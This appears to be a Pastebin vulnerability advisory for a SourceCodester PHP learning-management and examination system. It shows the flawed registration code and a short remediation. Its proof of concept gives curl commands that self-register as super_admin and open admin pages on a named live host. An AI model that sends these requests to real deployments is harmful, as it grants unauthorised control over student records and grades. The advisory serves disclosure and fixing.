Guest User

SourceCodester Online Examination & LMS Improper Privilege Management (PoC)

a guest
Jun 4th, 2026
1,203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.06 KB | Cybersecurity | 0 0
  1. ================================================================================
  2. ADVISORY: Online Examination & LMS (SourceCodester/ampoldev)
  3. VULN ID:  Role Parameter Injection (Privilege Escalation to super_admin)
  4. SOURCE:   https://www.sourcecodester.com/php/18739/syllabus-aligned-learning-management-examination-system.html
  5. DEMO:     http://localhost/cictportal/auth_process.php
  6. CWE:      CWE-269 (Improper Privilege Management)
  7. CVSS:     9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  8. ================================================================================
  9.  
  10. --- AFFECTED FILES ---
  11.   auth.php
  12.   auth_process.php
  13.   register.php
  14.  
  15. --- VULNERABLE CODE ---
  16.  
  17.   // auth_process.php:
  18.   $role = $_POST['role'];  // ← User-controlled, no server-side validation
  19.   $stmt = $pdo->prepare("INSERT INTO users (fullname, email, password, role) VALUES (?,?,?,?)");
  20.   $stmt->execute([$fullname, $email, $hash, $role]);
  21.  
  22.   // register.php renders this HTML dropdown:
  23.   <select name="role">
  24.     <option value="Student_Unit">Student</option>
  25.     <option value="Lab_Instructor">Instructor</option>
  26.   </select>
  27.   // An attacker ignores the dropdown and sends any role value directly via POST.
  28.  
  29. --- PROOF OF CONCEPT ---
  30.  
  31.   # Step 1: Send POST request directly to the registration handler,
  32.  #          setting role=super_admin (bypassing the HTML dropdown entirely).
  33.  
  34.   curl -X POST https://lmexaminationsystem.great-site.net/auth_process.php \
  35.     -d "fullname=Attacker&[email protected]&password=Test1234&role=super_admin&register_btn=1"
  36.  
  37.   # Expected response: Redirect to dashboard with super_admin session
  38.  
  39.   # Step 2: Log in with the newly created account:
  40.  curl -X POST https://lmexaminationsystem.great-site.net/auth_process.php \
  41.     -d "[email protected]&password=Test1234&login_btn=1" \
  42.     -c cookies.txt
  43.  
  44.   # Step 3: Access admin-only pages:
  45.  curl -b cookies.txt https://lmexaminationsystem.great-site.net/super_dashboard.php
  46.   curl -b cookies.txt https://lmexaminationsystem.great-site.net/import_users.php
  47.   curl -b cookies.txt https://lmexaminationsystem.great-site.net/manage_subjects.php
  48.  
  49. --- IMPACT ---
  50.   - Any unauthenticated internet user can self-register as super_admin
  51.   - Immediate access to all student PII, exam results, and enrollment records
  52.   - Ability to create additional rogue admin accounts for persistence
  53.   - Grade falsification and enrollment manipulation at will
  54.   - No prior knowledge, credentials, or privileges required
  55.  
  56. --- REMEDIATION ---
  57.  
  58.   // auth_process.php — NEVER accept role from POST on public registration:
  59.   $role = 'student'; // Hardcoded — always student for self-registration
  60.  
  61.   // Also remove the role <select> from register.php HTML entirely.
  62.   // Admin-assigned roles should only be set via authenticated admin panel.
  63.  
  64. ================================================================================
  65. Reported for coordinated disclosure.
  66. Vendor notified simultaneously via SourceCodester contact form.
  67. ================================================================================
Advertisement
Add Comment
Please, Sign In to add comment